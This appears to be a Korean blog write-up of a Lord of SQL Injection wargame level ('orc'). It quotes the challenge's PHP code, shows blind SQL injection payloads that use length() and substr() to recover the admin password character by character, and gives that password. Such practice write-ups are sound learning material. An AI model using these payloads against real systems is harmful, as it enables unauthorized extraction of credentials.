본문 바로가기
웹 해킹/lord of SQL

los 4번

by sonysame 2018. 6. 27.
query : {$query}

"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

Hello admin

"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>

직접 패스워드와 비교를 하므로 실제 패스워드를 알아내야 한다.

Blind SQL Injection

일단, 패스워드의 길이는 length(pw)를 이용했고,

패스워드 한글자 한글자를 substr(pw, , ,)을 이용했다.


?pw=' or id='admin' and length(pw)<10 ' or id='heeyeon

?pw=' or id='admin' and substr(pw,1,1)>char(97) or id='heeyeon


여기서 마지막에 '을 강제로 붙이므로 or id='heeyeon을 붙여줬다!

295D5844


295d5844도 가능...


295D5844는 불가능 but 295d5844는 가능..이유를 잘 모르겠다 질문!

'웹 해킹 > lord of SQL' 카테고리의 다른 글

los 6번  (0) 2018.06.27
los 5번  (0) 2018.06.27
los 3번  (0) 2018.06.27
los 2번  (0) 2018.06.27
los 1번  (0) 2018.06.27